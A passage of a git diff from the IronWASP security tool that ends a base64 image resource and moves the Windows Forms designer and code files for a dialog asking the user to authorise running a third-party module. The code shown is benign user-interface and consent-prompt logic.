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 + + + \ No newline at end of file diff --git a/IronWASP/ModuleStartPromptForm.Designer.cs b/Iron/ModuleStartPromptForm.Designer.cs similarity index 94% rename from IronWASP/ModuleStartPromptForm.Designer.cs rename to Iron/ModuleStartPromptForm.Designer.cs index 94eb138..e58b45b 100644 --- a/IronWASP/ModuleStartPromptForm.Designer.cs +++ b/Iron/ModuleStartPromptForm.Designer.cs @@ -1,161 +1,161 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -namespace IronWASP -{ - partial class ModuleStartPromptForm - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Windows Form Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(ModuleStartPromptForm)); - this.CancelBtn = new System.Windows.Forms.Button(); - this.RunModuleBtn = new System.Windows.Forms.Button(); - this.DisplayRTB = new System.Windows.Forms.RichTextBox(); - this.ProgressBarPanel = new System.Windows.Forms.Panel(); - this.ProgressPB = new System.Windows.Forms.ProgressBar(); - this.StatusLbl = new System.Windows.Forms.Label(); - this.ProgressBarPanel.SuspendLayout(); - this.SuspendLayout(); - // - // CancelBtn - // - this.CancelBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); - this.CancelBtn.Location = new System.Drawing.Point(311, 381); - this.CancelBtn.Name = "CancelBtn"; - this.CancelBtn.Size = new System.Drawing.Size(196, 23); - this.CancelBtn.TabIndex = 0; - this.CancelBtn.Text = "Cancel"; - this.CancelBtn.UseVisualStyleBackColor = true; - this.CancelBtn.Click += new System.EventHandler(this.CancelBtn_Click); - // - // RunModuleBtn - // - this.RunModuleBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); - this.RunModuleBtn.Location = new System.Drawing.Point(25, 381); - this.RunModuleBtn.Name = "RunModuleBtn"; - this.RunModuleBtn.Size = new System.Drawing.Size(198, 23); - this.RunModuleBtn.TabIndex = 1; - this.RunModuleBtn.Text = "Run this Module"; - this.RunModuleBtn.UseVisualStyleBackColor = true; - this.RunModuleBtn.Click += new System.EventHandler(this.RunModuleBtn_Click); - // - // DisplayRTB - // - this.DisplayRTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.DisplayRTB.BackColor = System.Drawing.Color.White; - this.DisplayRTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.DisplayRTB.Location = new System.Drawing.Point(0, 0); - this.DisplayRTB.Margin = new System.Windows.Forms.Padding(0); - this.DisplayRTB.Name = "DisplayRTB"; - this.DisplayRTB.ReadOnly = true; - this.DisplayRTB.Size = new System.Drawing.Size(534, 348); - this.DisplayRTB.TabIndex = 2; - this.DisplayRTB.Text = ""; - // - // ProgressBarPanel - // - this.ProgressBarPanel.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.ProgressBarPanel.Controls.Add(this.ProgressPB); - this.ProgressBarPanel.Location = new System.Drawing.Point(5, 377); - this.ProgressBarPanel.Margin = new System.Windows.Forms.Padding(0); - this.ProgressBarPanel.Name = "ProgressBarPanel"; - this.ProgressBarPanel.Size = new System.Drawing.Size(523, 32); - this.ProgressBarPanel.TabIndex = 3; - this.ProgressBarPanel.Visible = false; - // - // ProgressPB - // - this.ProgressPB.Location = new System.Drawing.Point(10, 4); - this.ProgressPB.MarqueeAnimationSpeed = 10; - this.ProgressPB.Name = "ProgressPB"; - this.ProgressPB.Size = new System.Drawing.Size(504, 23); - this.ProgressPB.Style = System.Windows.Forms.ProgressBarStyle.Marquee; - this.ProgressPB.TabIndex = 0; - // - // StatusLbl - // - this.StatusLbl.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); - this.StatusLbl.AutoSize = true; - this.StatusLbl.Location = new System.Drawing.Point(12, 354); - this.StatusLbl.Name = "StatusLbl"; - this.StatusLbl.Size = new System.Drawing.Size(43, 13); - this.StatusLbl.TabIndex = 4; - this.StatusLbl.Text = " "; - // - // ModuleStartPromptForm - // - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(534, 412); - this.ControlBox = false; - this.Controls.Add(this.StatusLbl); - this.Controls.Add(this.ProgressBarPanel); - this.Controls.Add(this.DisplayRTB); - this.Controls.Add(this.RunModuleBtn); - this.Controls.Add(this.CancelBtn); - this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); - this.MaximizeBox = false; - this.MinimizeBox = false; - this.Name = "ModuleStartPromptForm"; - this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; - this.Text = "Authorize Module"; - this.TopMost = true; - this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.ModuleStartPromptForm_FormClosing); - this.ProgressBarPanel.ResumeLayout(false); - this.ResumeLayout(false); - this.PerformLayout(); - - } - - #endregion - - private System.Windows.Forms.Button CancelBtn; - private System.Windows.Forms.Button RunModuleBtn; - private System.Windows.Forms.RichTextBox DisplayRTB; - private System.Windows.Forms.Panel ProgressBarPanel; - private System.Windows.Forms.ProgressBar ProgressPB; - private System.Windows.Forms.Label StatusLbl; - } +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +namespace IronWASP +{ + partial class ModuleStartPromptForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(ModuleStartPromptForm)); + this.CancelBtn = new System.Windows.Forms.Button(); + this.RunModuleBtn = new System.Windows.Forms.Button(); + this.DisplayRTB = new System.Windows.Forms.RichTextBox(); + this.ProgressBarPanel = new System.Windows.Forms.Panel(); + this.ProgressPB = new System.Windows.Forms.ProgressBar(); + this.StatusLbl = new System.Windows.Forms.Label(); + this.ProgressBarPanel.SuspendLayout(); + this.SuspendLayout(); + // + // CancelBtn + // + this.CancelBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.CancelBtn.Location = new System.Drawing.Point(311, 381); + this.CancelBtn.Name = "CancelBtn"; + this.CancelBtn.Size = new System.Drawing.Size(196, 23); + this.CancelBtn.TabIndex = 0; + this.CancelBtn.Text = "Cancel"; + this.CancelBtn.UseVisualStyleBackColor = true; + this.CancelBtn.Click += new System.EventHandler(this.CancelBtn_Click); + // + // RunModuleBtn + // + this.RunModuleBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.RunModuleBtn.Location = new System.Drawing.Point(25, 381); + this.RunModuleBtn.Name = "RunModuleBtn"; + this.RunModuleBtn.Size = new System.Drawing.Size(198, 23); + this.RunModuleBtn.TabIndex = 1; + this.RunModuleBtn.Text = "Run this Module"; + this.RunModuleBtn.UseVisualStyleBackColor = true; + this.RunModuleBtn.Click += new System.EventHandler(this.RunModuleBtn_Click); + // + // DisplayRTB + // + this.DisplayRTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.DisplayRTB.BackColor = System.Drawing.Color.White; + this.DisplayRTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.DisplayRTB.Location = new System.Drawing.Point(0, 0); + this.DisplayRTB.Margin = new System.Windows.Forms.Padding(0); + this.DisplayRTB.Name = "DisplayRTB"; + this.DisplayRTB.ReadOnly = true; + this.DisplayRTB.Size = new System.Drawing.Size(534, 348); + this.DisplayRTB.TabIndex = 2; + this.DisplayRTB.Text = ""; + // + // ProgressBarPanel + // + this.ProgressBarPanel.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ProgressBarPanel.Controls.Add(this.ProgressPB); + this.ProgressBarPanel.Location = new System.Drawing.Point(5, 377); + this.ProgressBarPanel.Margin = new System.Windows.Forms.Padding(0); + this.ProgressBarPanel.Name = "ProgressBarPanel"; + this.ProgressBarPanel.Size = new System.Drawing.Size(523, 32); + this.ProgressBarPanel.TabIndex = 3; + this.ProgressBarPanel.Visible = false; + // + // ProgressPB + // + this.ProgressPB.Location = new System.Drawing.Point(10, 4); + this.ProgressPB.MarqueeAnimationSpeed = 10; + this.ProgressPB.Name = "ProgressPB"; + this.ProgressPB.Size = new System.Drawing.Size(504, 23); + this.ProgressPB.Style = System.Windows.Forms.ProgressBarStyle.Marquee; + this.ProgressPB.TabIndex = 0; + // + // StatusLbl + // + this.StatusLbl.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.StatusLbl.AutoSize = true; + this.StatusLbl.Location = new System.Drawing.Point(12, 354); + this.StatusLbl.Name = "StatusLbl"; + this.StatusLbl.Size = new System.Drawing.Size(43, 13); + this.StatusLbl.TabIndex = 4; + this.StatusLbl.Text = " "; + // + // ModuleStartPromptForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(534, 412); + this.ControlBox = false; + this.Controls.Add(this.StatusLbl); + this.Controls.Add(this.ProgressBarPanel); + this.Controls.Add(this.DisplayRTB); + this.Controls.Add(this.RunModuleBtn); + this.Controls.Add(this.CancelBtn); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.MaximizeBox = false; + this.MinimizeBox = false; + this.Name = "ModuleStartPromptForm"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Authorize Module"; + this.TopMost = true; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.ModuleStartPromptForm_FormClosing); + this.ProgressBarPanel.ResumeLayout(false); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.Button CancelBtn; + private System.Windows.Forms.Button RunModuleBtn; + private System.Windows.Forms.RichTextBox DisplayRTB; + private System.Windows.Forms.Panel ProgressBarPanel; + private System.Windows.Forms.ProgressBar ProgressPB; + private System.Windows.Forms.Label StatusLbl; + } } \ No newline at end of file diff --git a/IronWASP/ModuleStartPromptForm.cs b/Iron/ModuleStartPromptForm.cs similarity index 97% rename from IronWASP/ModuleStartPromptForm.cs rename to Iron/ModuleStartPromptForm.cs index 184395c..c2f1e61 100644 --- a/IronWASP/ModuleStartPromptForm.cs +++ b/Iron/ModuleStartPromptForm.cs @@ -1,114 +1,114 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; -using System.Drawing; -using System.Text; -using System.Windows.Forms; - -namespace IronWASP -{ - public partial class ModuleStartPromptForm : Form - { - internal Module DisplayedModule = new Module(); - internal bool ModuleAuthroized = false; - internal bool IsClosed = false; - - internal void SetModule(Module M) - { - this.DisplayedModule = M; - StringBuilder SB = new StringBuilder(@"{\rtf1{\colortbl ;\red0\green77\blue187;\red247\green150\blue70;\red255\green0\blue0;\red0\green200\blue50;}"); - if (M.Category.Equals("My Downloads")) - { - SB.Append(@" \par \qc \fs20 \cf3 This Module was downloaded by you and was not included along with IronWASP. Therefore the details displayed below are unverified, only run this Module if you trust the source you recieved this Module from. \cf0 \par \par"); - } - else - { - SB.Append(@" \par \qc \fs15 \cf3 Modules are not internal components of IronWASP. These are seperate tools written by other developers and therefore require user permission before running. \cf0 \par \par"); - } - SB.Append(string.Format(@" \qc \fs30 {0} \par \fs20 \ql", M.DisplayName)); - StringBuilder InfoBuilder = new StringBuilder(); - InfoBuilder.Append(string.Format(">>>Name:>>{0}>", M.Name)); - InfoBuilder.Append(string.Format(">>Author:>>{0}>", M.Author)); - InfoBuilder.Append(string.Format(">>Project Home:>>{0}>", M.ProjectHome)); - InfoBuilder.Append(string.Format(">>Description:>>>>{0}", M.Description)); - SB.Append(Tools.RtfSafe(InfoBuilder.ToString())); - 